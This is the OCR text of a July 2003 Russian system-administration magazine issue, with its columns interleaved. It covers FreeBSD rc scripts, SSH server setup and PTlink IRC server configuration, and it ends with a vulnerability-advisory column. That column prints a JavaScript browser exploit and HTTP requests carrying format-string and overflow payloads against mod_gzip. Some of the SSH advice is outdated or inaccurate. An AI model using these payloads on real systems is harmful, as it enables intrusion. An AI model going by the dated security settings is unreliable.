внешнем, кэширующим DNS-сервером и SSH для уда-  rc.firewall – предназначен для настройки ipfw и natd.
ленного управления всем этим хозяйством. Хотя это не  rc.conf – содержит настройки системы, переписываю-
самый простой пример, конфигурация умещается все- щие параметры по умолчанию.
го на 11 строчках:  rc.conf.local – специфичные для хоста настройки. Если
используется этот файл, rc.conf может быть общим для
sshd_enable="YES" группы хостов.
ifconfig_rl0="inet 123.123.123.2 netmask 0xfffffff0"
ifconfig_rl1="inet 192.168.0.1 netmask 0xffffff00"  rc.local – все еще поддерживается для запуска локаль-
hostname="example.com" ных сервисов. Вместо него рекомендуется использо-
defaultrouter="123.123.123.1"
firewall_type="OPEN" вать скрипты /usr/local/etc/rc.d.
firewall_enable="YES"
gateway_enable="YES"
natd_enable="YES" Для редактирования предназначены только скрипт
natd_interface="rl0" rc.firewall и файлы конфигурации. Ситуация, в которой
named_enable="YES
потребовалось бы приспосабливать к своей системе ос-
Такая лаконичность достигается благодаря тому, что тальные скрипты, возникнуть не должна (по крайней мере,
параметры по умолчанию хранятся в /etc/defaults/rc.conf, теоретически). Если она все же возникла – сообщите об
а строки из /etc/rc.conf лишь изменяют и дополняют эти этом разработчикам.
параметры. Редактировать файл с параметрами по Принципиальное отличие скриптов нового поколения –
умолчанию не нужно (это только усложнит последую- поддержка параметров запуска. По сравнению со скрип-
щие обновления), но вот просмотреть его хотя бы раз тами из /usr/local/etc/rc.d список этих параметров суще-
будет полезно. ственно расширен. К минимальному набору (start|stop)
Строки rc.conf означают не что иное, как установку добавились:
переменных Bourne shell (/bin/sh). Когда в процессе заг-  restart – последовательно stop и start.
рузки системы init запускает скрипт /etc/rc, одним из  reload – перегружает процесс, посылая ему сигнал.
первых его действий становится установка параметров  status – показывает статус процесса.
настройки:  poll – ждет завершения процесса.
 rcvar – показывает соответствующие переменные
if [ -r /etc/defaults/rc.conf ]; then rc.conf.
. /etc/defaults/rc.conf
source_rc_confs
elif [ -r /etc/rc.conf ]; then Параметры status, reload и poll реализуются только в
. /etc/rc.conf
fi том случае, если скрипт запускает какой-либо процесс.
Введение параметров запуска существенно облегча-
В данном случае перезаписыванием параметров по ет задачу запуска и рестарта отдельных сервисов без
умолчанию занимается функция source_rc_confs (рас- перезагрузки всей системы. Конечно, это было возмож-
положенная в /etc/defaults/rc.conf), которая и включает но и раньше, но рекомендация «перегрузиться на вся-
/etc/rc.conf, /etc/rc.conf.local или любые другие файлы кий случай» теперь имеет под собой гораздо меньше
из списка, определенного в переменной rc_conf_files. оснований.
Конструкция эта могла бы быть несколько проще, но ис- Перезагрузка после настройки системы нужна для
пользуемая функция уже содержит «защиту от дурака», того, чтобы проверить правильность внесенных в фай-
поскольку некоторые пользователи считают удобным лы конфигурации изменений. Когда стартовые скрипты

№7(8), июль 2003 21


администрирование
представляют собой нечто монолитное, разделенное # PROVIDE: nfsd
# REQUIRE: mountd
только по общей функциональности, воспользоваться # KEYWORD: FreeBSD NetBSD
ими для старта сервисов без перезагрузки можно разве
что в качестве практического пособия «как это устрое- Этот скрипт предоставляет сервис nfsd, требует пред-
но». В этом случае запуск сервисов распадается на два варительного запуска mountd и работает в FreeBSD и
этапа: внесение изменений в конфигурационный файл, NetBSD.
чтобы все работало и после перезагрузки, и запуск про- Должен быть хотя бы один скрипт без ключевого сло-
грамм вручную. ва REQUIRE, чтобы rcorder мог определить первый стар-
Проблема в том, что второй этап никак не проверя- товый скрипт. Например, /etc/rc.d/devd содержит сле-
ет правильность первого: может возникнуть ситуация, дующий блок:
когда вручную все запущено правильно, а в конфигу-
рационном файле допущена ошибка. Если это так, то # PROVIDE: devd
# BEFORE: disks
при любой последующей перезагрузке соответствую- # KEYWORD: FreeBSD
щий сервис не стартует, и придется все исправлять (хо-
рошо, если вы будете в этот момент рядом, а не в от- Ключевое слово BEFORE помогает определить последую-
пуске, например). щие скрипты (в которых анализируется строка «# PROVIDE:
К тому же запуск вручную не всегда тривиален: к приме- disks»).
ру, для запуска NFS сервера в FreeBSD 4.x так, как это про- В FreeBSD правильную последовательность скриптов
исходит при установке параметра nfs_server_enable=«YES» выдает следующая команда:
в rc.conf, потребуются следующие команды:
# rcorder -k FreeBSD -s nostart /etc/rc.d/* 2>/dev/null
# portmap
# mountd -r
# nfsd В полученном списке по именам скриптов можно вы-
# rpc.statd делить три группы. Скрипты с именами в верхнем реги-
стре служат только для определения основных зависи-
В FreeBSD 5.x достаточно добавить эту переменную и мостей. Это своеобразные «контрольные точки», кото-
выполнить команду: рые определяют набор зависимостей на отдельных эта-
пах загрузки.
# /etc/rc.d/nfsd start Таких скриптов всего четыре: NETWORKING, SERVERS,
DAEMON, LOGIN (man rc(8)). Они используются только
Очевидно, это гораздо проще и к тому же проверена rcorder, для sh это всего лишь набор комментариев. Ос-
на правильность соответствующая переменная. В приме- тальные скрипты делятся по признаку наличия или отсут-
ре с NFS в обеих случаях сначала необходимо подгото- ствия расширения «.sh». Если расширение присутствует,
вить файл /etc/exports (man exports(5)). скрипт запускается в текущей оболочке.
Другие параметры также достаточно интересны: на- В локальных скриптах поддержка параметров реали-
пример, status поможет узнать, какие процессы запуще- зуется с помощью конструкции case. Параметр start пред-
ны в данный момент, а rcvar – познакомиться со скрипта- полагает запуск программы, stop – отправку ему сигна-
ми поближе: ла TERM. Любой другой параметр – вывод краткой справ-
ки по параметрам. Шаблон локального скрипта выгля-
# for i in /etc/rc.d/*; do $i status 2>/dev/null; done дит так (man rc(8)):
# for i in /etc/rc.d/*; do echo $i; $i rcvar 2>/dev/null; ↵
echo; done
#!/bin/sh -
case "$1" in
Для стартовых скриптов системы, в отличие от локаль- start)
ных скриптов в /usr/local/etc/rc.d, очень важен порядок за- /usr/local/sbin/prog -d && echo -n ' prog'
;;
пуска. Локальные скрипты не имеют механизма реализа- stop)
ции зависимостей и определения порядка запуска. Они kill `cat /var/run/prog.pid` && echo -n ' prog'
;;
стартуют в алфавитном порядке и если необходимо, что- *)
бы какой-то скрипт стартовал раньше, нужно «повысить» echo "unknown option: $1 - should be 'start' or 'stop'" >&2
;;
его место по алфавиту. Обычно перед именем скрипта esac
добавляют пару-тройку нулей.
Зависимости и определение порядка запуска в сис- Реализация таким методом большего числа парамет-
темных стартовых скриптах FreeBSD 5.x реализуются с ров потребует соответствующего числа ключевых слов в
помощью rcorder(8). case и множества довольно тривиального и одинакового
Эта программа использует специальные ключевые для всех скриптов кода (более сложного, чем в приведен-
слова, содержащиеся в каждом скрипте: REQUIRE, ном примере). Видимо, разработчикам NetBSD такое ре-
PROVIDE, BEFORE, KEYWORD. Для оболочки строки, со- шение изящным не показалось и вся функциональность
держащие эти слова, являются комментариями. Вот при- стартовых скриптов нового поколения была реализована
мер блока ключевых слов /etc/rc.d/nfsd (все пробелы обя- в отдельном скрипте (/etc/rc.subr). Вот шаблон простей-
зательны): шего скрипта «нового поколения».

22
администрирование
#!/bin/sh  command_interpreter – командный интерпретатор, с по-
#
# PROVIDE: prog мощью которого запускается command.
# REQUIRE: before_prog  extra_commands – дополнительные параметры за-
# BEFORE: after_prog
# KEYWORD: FreeBSD пуска.
 pidfile – полный путь к файлу PID. Если эта перемен-
. /etc/rc.subr
ная установлена, для проверки процесса использу-
name="prog" ется check_pidfile $pidfile $procname. Иначе, если ус-
rcvar=`set_rcvar`
command="/usr/local/bin/prog" тановлена переменная command, используется
check_process $procname.
load_rc_config $name
run_rc_command "$1"  procname – имя процесса для проверки. По умолча-
нию – procname.
Функционально этот скрипт превосходит предыдущий  required_dirs – проверка на наличие директории перед
за счет добавления новых параметров (и к тому же, бла- стартом программы.
годаря параметрам rcorder, он «знает свое место»). Ви-  required_files – проверка на читаемость файлов.
зуально он делится на четыре части: ключевые слова,  required_vars – проверка переменной с помощью
включение /etc/rc.subr, переменные и запуск функций checkyesno.
из включенного rc.subr. Между переменными и запус-  ${name}_chdir – каталог, в который нужно войти перед
ком функций rc.subr могут быть включены собственные запуском command, если нет – ${name}_chroot.
функции скрипта. В скрипт могут быть помещены пе-  ${name}_chroot – каталог для запуска chroot(8) перед
ременные argument_cmd. Слово argument означает па- запуском command.
раметр запуска. Если запустить любой из стартовых  ${name}_flags – эта переменная используется для пе-
скриптов без параметров, он выдаст информацию при- резаписи соответствующей переменной из rc.conf.
мерно в таком виде:  ${name}_nice – устанавливает уровень nice(1) перед за-
пуском command.
Usage: /etc/rc.d/prog ↵
[fast|force](start|stop|restart|rcvar|reload|status|poll)
 ${name}_user – пользователь, под которым запускается
command. Если установлена переменная ${name}_chroot,
используется chroot(8), иначе – su(1).
Параметрами скрипта могут быть start, faststart,  ${name}_group – группа для запуска command в chroot.
forcestart, stop, faststop... и соответственно переменная  ${name}_groups – разделенный запятыми список групп
argument_cmd на самом деле означает набор start_cmd, для запуска в chroot.
stop_cmd...  argument_cmd – перезаписывает действие по умол-
Получить примерное представление о том, какие на чанию.
самом деле используются переменные, поможет следую-  argument_precmd – выполняется перед argument_cmd или
щая команда: действием по умолчанию, которое выполняется только в
случае успешного завершения argument_precmd.
$ cat /etc/rc.d/[a-z]* | egrep "^[a-z]+_?[a-z]+=.*$" ↵
| awk -F= '{print $1}' | sort -u | less
 argument_postcmd – выполняется, если argument_cmd
или действие по умолчанию успешно выполнены.
Не менее интересен может быть просмотр перемен-  sig_stop – сигнал, который посылается процессу для
ных вместе с их значениями: его завершения вместо SIGTERM.
 sig_reload – сигнал, который посылается процессу для
$ cat /etc/rc.d/[a-z]* | egrep "^[a-z]+_?[a-z]+=.*$" ↵ перезагрузки вместо SIGHUP.
| sort -u | less

В man rc.subr(8) дано описание всех используемых Префикс fast означает отсутствие проверки запущен-
функций и переменных. ных процессов перед запуском нового и установку пере-
Задаваемые в стартовых скриптах переменные ис- менной rc_fast=YES, а префикс force – установку пере-
пользуются функцией run_rc_command. Вот список этих менной rc_force=YES и игнорирование статуса заверше-
переменных в сокращенном виде: ния argument_precmd.
 name – имя скрипта. Указывается в обязательном по- В отличие от локальных скриптов, для работы скрипта
рядке. «нового поколения» в rc.conf должна быть помещена пе-
 rcvar – значение переменной, имя которой помещено ременная, имя которой определяется значением rcvar.
в rcvar, берется из rc.conf и проверяется с помощью Кроме того, туда же можно поместить и дополнительные
checkyesno. Истинными считаются значения «YES», переменные, например ${name}_flags.
«TRUE», «ON» или «1». Ложными «NO», «FALSE», В целом с переходом на новые скрипты настройка
«OFF» или «0». системы в rc.conf не изменилась (совместимость остав-
 command – полный путь к команде. Переменная не нуж- лена с целью минимизации проблем при обновлении си-
на, если для каждого поддерживаемого параметра стемы). Возможностей по перенастройке системы на
указана переменная argument_cmd. ходу явно прибавилось, и к тому же стартовые скрипты
 command_args – опциональные аргументы и/или ди- теперь еще лучше подходят в качестве инструмента изу-
рективы оболочки. чения системы.

№7(8), июль 2003 23


администрирование

НАСТРОЙКА
СЕРВЕРА SSH

ДЕНИС КОЛИСНИЧЕНКО

24
администрирование
Сервис Telnet обеспечивает базовую эмуляцию термина- Программу ssh можно скачать по адресу http://
лов удаленных систем, поддерживающих протокол Telnet www.cs.hut.fi/ssh/. Версия ssh для UNIX распространяется
над протоколом TCP/IP. Обеспечивается эмуляция терми- бесплатно, а за Windows-версию (имеется в виду клиент
налов Digital Equipment Corporation VT 100, Digital для Windows) нужно заплатить.
Equipment Corporation VT 52, TTY. Любые команды, вы- Оболочка ssh незаменима в тех случаях, когда уда-
полняемые с помощью Telnet, обрабатываются telnet-сер- ленно нужно администрировать сервер или когда сервер
вером, а не локальным компьютером. Пользователь лишь не имеет собственного монитора. При использовании
видит результат выполнения этих команд. telnet все данные, которые передаются через telnet-соеди-
Для использования Telnet на удаленном компьюте- нение, доступны в открытом виде. А значит, имена пользо-
ре должен быть установлен telnet-демон. На компьюте- вателей и пароли будут доступны всем, кто прослушива-
ре пользователя нужно установить программу-клиент. ет трафик с помощью анализатора. SSH выполняет шиф-
Практически в каждой операционной системе суще- рование, используя несколько различных алгоритмов,
ствует утилита telnet, которая является клиентом для включая DES и 3DES.
протокола telnet. Программа состоит из демона sshd, который запуска-
Сервис Telnet был и остается одним из самых попу- ется на Linux/UNIX-машине, и клиента ssh, который рас-
лярных способов удаленной регистрации и работы на уда- пространяется как для Linux, так и для Windows. Чтобы
ленной машине. Основным его недостатком является то, установить ssh, возьмите исходные тексты и поместите
что любая информация, в том числе и пароли, передает- их по традиции в каталог /usr/src/. Затем распакуйте ар-
ся в открытом виде без какого-либо кодирования. хив и установите программу, выполнив следующую пос-
SSH (Secure Shell) – программа, позволяющая вам за- ледовательность действий:
регистрироваться на удаленных компьютерах и устано-
вить зашифрованное соединение. Существует также «бе- cd /usr/src/
tar xzf ssh-2.4.0.tar.gz
зопасная» версия telnet – stelnet. cd ssh-2.4.0
SSH использует криптографию открытого ключа для ./configure
make
шифрования соединения между двумя машинами, а так- make install
же для опознавания пользователей. Оболочку ssh можно
использовать для безопасной регистрации на удаленном Чтобы ssh начал работать, необходимо запустить де-
сервере или копировании данных между двумя машина- мон sshd на той машине, к которой предполагается под-
ми, в то же время предотвращая атаки путем присоеди- ключение. Желательно добавить команду запуска в сце-
нения посредине (session hijacking) и обманом сервера нарий загрузки системы для автоматического запуска.
имен (DNS spoffing). Демон sshd работает по 22 порту (см. листинг 1). Если
Оболочка Secure Shell поддерживает следующие ал- не ошибаюсь, ssh невозможно использовать вместе с
горитмы шифрования: xinetd/inetd – его нужно запускать подобно httpd-серверу
 BlowFish – это 64-разрядная схема шифрования. Этот в режиме standalone.
алгоритм часто используется для высокоскоростного
шифрования данных больших объемов. Ëèñòèíã 1. Ôðàãìåíò ôàéëà /etc/services
ssh 22/tcp # SSH Remote Login Protocol
 Тройной DES (Data Encryption Standard) – стандарт для ssh 22/udp # SSH Remote Login Protocol
шифрования данных. Данный алгоритм довольно ста-
рый, поэтому не рекомендуется его использовать. Обычно с настройкой sshd не возникает никаких не-
Обычно DES используется для шифрования несекрет- приятных моментов. Подробно о настройке sshd пого-
ных данных. ворим чуть позже. Теперь попробуйте зарегистриро-
 IDEA (International Data Encryption Algorithm) – между- ваться на этой машине через ssh. Для этого нужно ус-
народный алгоритм шифрования информации. Этот тановить этот же пакет на другую машину под управле-
алгоритм работает со 128-разрядным ключом и поэто- нием Linux/UNIX (или установить Windows-клиент ssh)
му он более защищен, чем BlowFish и DES. и ввести команду:
 RSA (Rivest-Shamir-Adelman algorithm) – алгоритм Ри-
веста-Шамира-Адельмана. Представляет собой схему $ ssh hostname.domain
шифрования с открытым и секретным ключами.
ssh запросит вас ввести пароль пользователя. В каче-
При выборе алгоритма шифрования нужно исходить стве имени пользователя для установки соединения бу-
из конфиденциальности информации, которую вам нуж- дет использовано имя текущего пользователя, то есть
но передать. Если информация секретна, лучше исполь- имя, под которым вы сейчас зарегистрированы в сис-
зовать алгоритмы IDEA или RSA. Если же вы просто не теме. В случае если аутентификация пройдет успеш-
хотите передавать данные в открытом виде, используйте но, начнется сеанс связи. Прекратить сеанс можно ком-
алгоритм BlowFish, поскольку он работает значительно бы- бинацией клавиш Ctrl+D. Если вам нужно указать дру-
стрее, чем DES. гое имя пользователя, используйте параметр -l програм-
Оболочка ssh очень эффективна против анализаторов мы ssh:
протоколов, так как она не только шифрует, но и сжимает
трафик перед его передачей на удаленный компьютер. ssh -l user hostname.ru

№7(8), июль 2003 25


администрирование
Так можно указать программе ssh, от имени какого сервера. Обе стороны используют этот случайный но-
пользователя нужно регистрироваться на удаленной ма- мер как ключ сессии, который используется для коди-
шине (см. рис. 1). рования всех передаваемых во время сессии данных.
Затем клиент пытается аутентифицировать себя, ис-
пользуя .rhosts-аутентификацию, аутентификацию RSA
или же аутентификацию с использованием пароля.
Обычно .rhosts-аутентификация небезопасна и поэто-
му она отключена.

Протокол SSH версия 2


Версия 2 работает аналогично: каждый узел имеет опре-
деленный DSA-ключ, который используется для иденти-
фикации узла. Однако при запуске демона ключ сервера
не генерируется. Безопасность соединения обеспечива-
ется благодаря соглашению Диффи-Хелмана (Diffie-
Hellman key agreement).
Сессия может кодироваться следующими методами:
128-разрядный AES, Blowfish, 3DES, CAST128, Arcfour,
Ðèñ. 1. Ðåãèñòðàöèÿ íà óäàëåííîé ìàøèíå. 192-разрядный AES или 256-разрядный AES.
При использовании Windows-клиента имя компьюте-
ра, имя пользователя и пароль нужно ввести в диалого- Опции демона sshd указаны в таблице 1.
вом окне программы. Если соединение не устанавлива- Файл конфигурации демона /etc/ssh/sshd_config до-
ется, попробуйте выбрать метод кодирования blowfish. вольно большой, поэтому я не стану приводить в статье
Если и это не поможет, выберите 3DES. Работа в ssh ана- его полный листинг. Сейчас мы остановимся только на
логична работе в telnet. Вы можете администрировать самых важных директивах файла конфигурации.
удаленную машину также легко, как и локальную. Директива Port предназначена для указания порта,
Оболочка ssh использует два файла конфигурации которые демон будет прослушивать (данная директива
ssh_conf и sshd_conf. Думаю, что нет смысла говорить о аналогична опции -p):
том, что они находятся в директории /etc/ssh. Рекомен-
дую в файле sshd_conf прописать следующую строчку: Port 22

allowedadress 10.1.1.1 10.1.2.1 10.1.3.1 Следующая директива – это директива Protocol. С по-
мощью этой директивы можно указать в порядке пред-
Это означает, что доступ по ssh может быть выполнен почтения номера поддерживаемых протоколов SSH:
только с машин с адресами 10.1.1.1, 10.1.2.1, 10.1.3.1. Это
оградит ваш компьютер от нежелательных вторжений Protocol 2,1
извне. Программа stelnet во всем полностью аналогична
программе telnet, но она выполняет шифрование трафи- Такое определение директивы означает, что сначала
ка, который передается во время telnet-соединения. сервер будет пытаться установить соединение с клиен-
Демон sshd – это программа-демон для оболочки ssh. том по протоколу SSH версии 2, а потом – по протоколу
Обычно sshd запускается на машине, к которой подклю- SSH версии 1. Можно указать использование только од-
чаются клиенты SSH. Последние версии демона sshd под- ной версии протокола, например: Protocol 1. Директива
держивают две версии протокола SSH: SSH версия 1 и ListenAddress указывает локальный адрес, который дол-
SSH версия 2. жен прослушивать демон.
Директива определяет файлы ключей. Файлами по
Протокол SSH версия 1 умолчанию являются:
У каждого узла есть свой RSA-ключ (обычно 1024 бит),
который используется для идентификации узла. Этот ключ /etc/ssh/ssh_host_key
/etc/ssh/ssh_host_rsa_key
еще называется открытым. Дополнительно при запуске /etc/ssh/ssh_host_dsa_key
демона генерируется еще один RSA-ключ – ключ серве-
ра (обычно 768 бит). Этот ключ создается заново каждый Директива ServerKeyBits определяет разрядность клю-
час и никогда не сохраняется на диске. ча сервера для протокола SSH первой версии. По умол-
Каждый раз при установке соединения с клиентом чанию используется 768-разрядный ключ (768 бит).
демон отправляет ему в ответ свой открытый ключ и Директива LoginGraceTime аналогична опции -g : пре-
ключ сервера. Клиент сравнивает полученный откры- доставляет клиенту дополнительное время, чтобы аутен-
тый ключ со своей базой данных, чтобы проверить, не тифицировать себя. По умолчанию время равно 600 се-
изменился ли он. Затем клиент случайным образом кундам. Если за это время клиент не смог аутентифици-
генерирует 256-разрядное число и кодирует его, исполь- ровать себя, соединение будет прекращено.
зуя одновременно два ключа – открытый ключ и ключ Директива KeyRegenerationInterval аналогична опции -k.

26
администрирование
Òàáëèöà 1. Îïöèè äåìîíà sshd.

Она определят время, спустя которое ключ сервера бу-


дет создан заново. По умолчанию время составляет 3600
секунд (1 час).
Директива PermitRootLogin определяет, разрешено ли
пользователю root регистрироваться по ssh. Значение по
умолчанию:

PermitRootLogin yes

Еще две директивы, имеющие непосредственное от-


ношение к аутентификации – это PasswordAuthentication
и PermitEmptyPasswords. Первая разрешает (при значе-
нии yes) аутентификацию с помощью пароля, а вторая
разрешает (при значении yes) использовать пустые паро-
ли. Значения по умолчанию:

PasswordAuthentication yes
PermitEmptyPasswords no

Описание остальных опций вы найдете в справочной


системе, введя команду man sshd. Ваши вопросы и ком-
ментарии присылайте на dhsilabs@mail.ru.

№7(8), июль 2003 27


администрирование

IRC-CЕРВЕР

АЛЕКСАНДР СЛОБОДСКОЙ

28
администрирование
Итак, вы администрируете небольшую локальную сеть. Так Примечание: если сервер при запуске сразу выпадает в
или иначе пользователям хочется общаться. Такие програм- core, возможно, проблемы с share-библиотеками, тогда нуж-
мы, как lantalk, естественно, не подходят, потому что рассы- но вернуться к компиляции снова:
лают широковещательные пакеты по всей сети, что не есть
хорошо. Выход – установка irc-сервера, который лишен очень [user@server]$ make LDFLAGS=static && make install
многих недостатков и имеет массу преимуществ. Например,
быстрота работы по сравнению с www-чатами – ведь клиен- Теперь, скорее всего, все будет в порядке.
ту не приходится грузить громоздкую страницу, чаще всего Переходим в директорию, которую указали при компи-
наполненную всяческими баннерами; расходование меньше- ляции и видим там несколько файлов:
го количества трафика, что не может не радовать. Суще-  ircd – основной бинарный файл.
ствует несколько разновидностей irc-серверов, имеющих не-  ircd.conf – файл конфигурации.
кие свои особенности, но похожие друг на друга в целом,  ircd.motd – файл, который выдается всем пользователям
например, unreal ircd, bahamut ircd и так далее, но в данном при каждом заходе на irc. Можете изменять и дополнять
обзоре я рассмотрю PTlink ircd как более простой для описа- его нужной информацией или картинкой, например.
ния и использующийся в российской irc-сети – IrcNET.Ru.  help.user – файл помощи для простых смертных, выво-
Приступим. Качаем сам сервер с http://www.aldem.net/irc. дится командой /helpsys.
Выберите ли вы бинарный файл или скомпилируете из ис-  help.oper – файл помощи для irc-операторов.
ходных кодов, зависит от того, какая операционная система  help.admin – файл для irc-администраторов.
на вашем сервере. В статье пойдет речь именно о Unix-вер-
сии. В Unix-версии компилирование должно обязательно про- Файл sendbug необходим в случае падения ircd в core,
ходить под обычным пользователем, то есть у того, у кого id таким образом можно отправить им этот файл для исправ-
больше 0, иначе сервер откажется компилироваться. ления ошибок. Синтаксис: sendbug ircd.core.
Распаковываем архив, заходим в папку и пишем: После запуска и использования irc-сервера в этой же
папке появится пара новых файлов, таких как ircd.pid, в ко-
[user@server]$ ./configure тором находится номер процесса запущенного сервера, и
gline.log, в котором находится список всех gline, которые ста-
Появится экран с описанием изменений и дополнений, вились в сети. (Gline – запрет доступа ко всем серверам сети
начиная с самого старого. Пролистываем описание и нажи- для определенных IP).
маем enter. Теперь нужно выбрать опции сборки сервера. Переходим к составлению конфигурационного файла.
Сначала вас спросят о типе компилятора: выбираем gcc, Все опции пишутся через двоеточие.
если, конечно, вы не являетесь счастливым обладателем В M-line содержится техническая информация о сервере:
экзотической операционной системы типа HP-UX, в этом
случае выбирайте cc. Дальше идут опции компиляции, их M:èìÿ_ñåðâåðà:ip:îïèñàíèå_ñåðâåðà:ñòàíäàðòíûé_ïîðò
можно оставить по умолчанию, так как они автоматически
определяются в зависимости от операционной системы. А-line – отражает информацию об администраторе дан-
Затем выбираем место, где будет лежать папка со всеми ного сервера, эта информация доступна через команду
необходимыми файлами для ircd. /admin на irc-сервере.
Выбираем название бинарного файла. Далее идет оп-
ция – компилировать ли сервер как Hub или как Leaf. (Hub – A:îïèñàíèå:Admin:e-mail
сервер, способный присоединять к себе другие сервера. Leaf
– одиночный сервер, привязанный к хабу, не имеющий воз- Y-line – определяет классы коннектов серверов друг к
можности присоединять сервера). другу, Y-lines нужно оставить без изменений.
Выберите нужный вам тип в зависимости от стоящих Все же некоторое описание необходимо, т.к. оно приго-
перед вами задач. Затем вас спросят, осуществлять ли крип- дится далее при написании C\N-lines.
тование паролей irc-операторов: если нет, то пароли в Класс-1 – определяет соеднинения простых смертных с
O-lines вписываем простым текстом; если да, то пароли не- сервером:
обходимо зашифровать. Для этого необходимо зайти на irc-
сервер и набрать команду /mkpasswd ваш_пароль: получит- Y:1:90:0:250:100000
ся некая последовательность букв и цифр – их и нужно впи-
сать в O-line на место пароля. У вас возникнет вопрос: «Как предпоследний параметр, определяет разрешенное количе-
зайти-то, ведь мы еще не настроили ircd?». Ответ прост: ство коннектов к серверу.
сначала настройте сам сервер, а пароль для O-line можно Класс-30 – коннект Hub to Leaf:
сделать в самом конце, он не критичен для работоспособно-
сти ircd. Далее выбираем число разрешенных соединений к Y:30:180:0:0:3500000
серверу. И последний пункт – выбор типа сети. Компиляция:
Класс-40 – как раз наоборот, Leaf to Hub:
[user@server]$ make && make install
Y:40:90:90:1:3500000
Если все прошло гладко, то сервер готов к использованию.

№7(8), июль 2003 29


администрирование
Класс-50 – класс коннекта Hub to Hub, с автоконнектом: N:óäàëåííûé_ñåðâåð:ïàðîëü:èìÿ_óäàëåííîãî_ñåðâåðà: ↵
êëàññ_ êîííåêòà

Y:50:90:60:1:4000000 Q-line – запрет использования ников.


Пример:
И класс-51 – тоже класс коннекта Hub to Hub, но без ав-
токоннекта: Q:*:ïðè÷èíà:nickname

Y:51:90:60:0:4000000 H-line – определяет сервер как Hub, на серверах Leaf все-


гда должен указываться H-line на вышестоящий Hub:
I-line – для разрешения доступа к irc-серверу по IP или
паролю: H:*::hub.server.ru

I:*@*:Ïàðîëü:*@*::1 P-line – позволяет открывать прослушивание коннектов


на дополнительный порт:
синтаксис понятен. Если же вам не надо кого-нибудь огра-
ничивать, вот пример I-line стандартного: P:*:*:*:port

I:*@*::*@*::1 e-line – исключение проверки на open socks:

Теперь обратимся к O-line. Строка, определяющая дос- e:127.0.0.1::*


туп к irc-операторству:
На этом описание конфигурационного файла можно
O:host:ïàðîëü:login:modes:1 закончить.
А вот небольшой пример реально работающего конфи-
Параметр modes вы, естественно, выбираете сами, ниже гурационного файла:
даны основные режимы.
Данные режимы устанавливаются для пользователя M:irc.server.ru:*:Network server:6667
A:My cool server:mr_Black:email@server.ru
irc, набравшего команду /oper и нужны для управления Y:1:90:0:30:100000
сервером irc: Y:50:90:60:1:4000000
Y:51:90:60:0:4000000
Y:30:180:0:0:3500000
r = äîñòóï ê êîìàíäå /rehash. Y:40:90:90:1:3500000
R = äîñòóï ê êîìàíäå /restart. I:*@*::*@*::1
D = äîñòóï ê êîìàíäå /die.
g = ìîæåò ñëàòü /globops. Пароль здесь представлен без криптования.
c = äîñòóï ê ëîêàëüíîìó ïðîèçâåäåíèþ /connect è /squit.
C = äîñòóï ê óäàëåííûì /squits è /connects.
k = äîñòóï ê ëîêàëüíûì /kills. O:*@*:qwerty:mr_Black:*:1
K = äîñòóï ê ãëîáàëüíûì /kills. U:services.server.ru:*:*
b = äîñòóï ê /kline ïîëüçîâàòåëåé ñ ñåðâåðà. X:qwerty:qwerty
o = ëîêàëüíûé àäìèíèñòðàòîð, âêëþ÷åíû òàêèå ôëàãè, êàê, C:127.0.0.1:services:services.server.ru:50
rhgwlckbBnuf. N:127.0.0.1:services:services.server.ru::50
Q::Reserved for services:ChanServ
O – глобальный оператор, включены такие флаги, как: Q::Reserved for services:NickServ
Q::Reserved for services:MemoServ
oRDCKN. Q::Reserved for services:OperServ
U-line – определяет сервисы, чтобы правильно понимать Q::Reserved for services:HelpServ
Q::Reserved for services:NewsServ
смену топиков, модов на irc: Q::Reserved for services:Global
Q::Reserved for operators:IRCop
H:*::services.server.ru
U:services.some.net:*:*
Вот пример конфигурации с настроенными на сервисы
X-line – определяет пароли для restart и die: C\N\H lines.
Запускайте ircd. Попробуем приконнектиться на порт,
X:diepass:restartpass который вы указали в ircd.conf.
Видим, что все работает, и уже можно оповестить пользо-
C-line – строка описывает сервер, пытающийся прикон- вателей о появлении нового сервиса и как с ним работать.
нектиться. Для работы в irc есть очень много интересных клиентов, вот
N-line – строка, описывающая возможность коннекта с некоторые из них:
данного сервера.  для windows: mIRC; http://www.mirc.com, BersIRC; http://
Обязательно использование C- и N-lines в паре друг с www.bersirc.com.
другом.  для Unix-систем: xchat; http://www.xchat.org, BitchX; http:/
/www.bitchx.org.
C:óäàëåííûé_ñåðâåð:ïàðîëü:èìÿ_óäàëåííîãî_ñåðâåðà: ↵
port:êëàññ _êîííåêòà
 http://www.ptlink.net/Coders – сайт разработчиков серве-
ра PTlink, там же можно найти и сервисы для ircd.
который был определен в Y-line.  http://www.ircd.ru – интересный ircd-сервер.

30
bugtraq

Уязвимость шестилетней давности Несколько уязвимостей в mod_gzip


для IE работает на новых версиях позволяют удаленному пользователю
Mozilla, Netscape и Opera выполнять произвольный код на системе
Уязвимость в управлении доступом обнаружена в Java и Несколько уязвимостей обнаружено в mod_gzip в подпрог-
Javascript, выполненных в браузерах Netscape, Mozilla и раммах отладки. Удаленный пользователь может выпол-
Opera. Злонамеренный сценарий или апплет может вы- нить произвольный код. Локальный пользователь может
полнить произвольный код и подключиться к произволь- получить root-привилегии на уязвимой системе.
ным доменам. Сообщается, что удаленный пользователь может зап-
Сообщается, что удаленный пользователь может создать росить длинное имя файла, которое должно быть обрабо-
HTML, который, когда будет загружен целевым пользовате- тано gzip, чтобы вызвать буферное переполнение в меха-
лем, внедрит и выполнит произвольный Javascript-код в низме регистрации. Уязвимость может использоваться для
JavaScript-консоли в браузере целевого пользователя, при- выполнения произвольного кода. Пример:
меняя функцию «view-source:».
Эксплоит: GET [overflow] HTTP/1.1
Host: www.apachesite.com
Accept-Encoding: gzip, deflate
<script>
function werd()
Также сообщается, что удаленный пользователь мо-
a.document.open(); жет представить специально обработанный HTTP GET
a.document.write("<h1>werd</h1>");
a.document.close(); запрос, чтобы эксплуатировать уязвимость форматной
строки в механизме регистрации Apache. Уязвимость мо-
function winopen() { жет использоваться для удаленного выполнения произ-
вольного кода.
a=window.open("view-source:javascript:location= ↵
'http://www.iss.net';"); Пример:
setTimeout('werd()',23000);
GET /cgi-bin/printenv.pl?x=%25n%25n%25n%25n%25n HTTP/1.1
Host: www.apachesite.com
</script> Accept-Encoding: gzip, deflate

Также сообщается, что злонамеренный апплет может или


выполнить подключения к произвольным доменам. Демон-
страционный эксплоит был написан несколько лет назад GET /cgi-bin/printenv.pl?x=%n%n%n%n%n HTTP/1.1
Host: www.apachesite.com
для уязвимости в Microsoft Internet Explorer, которая была Accept-Encoding: gzip, deflate
устранена с того времени, но появилась в Mozilla, Opera и
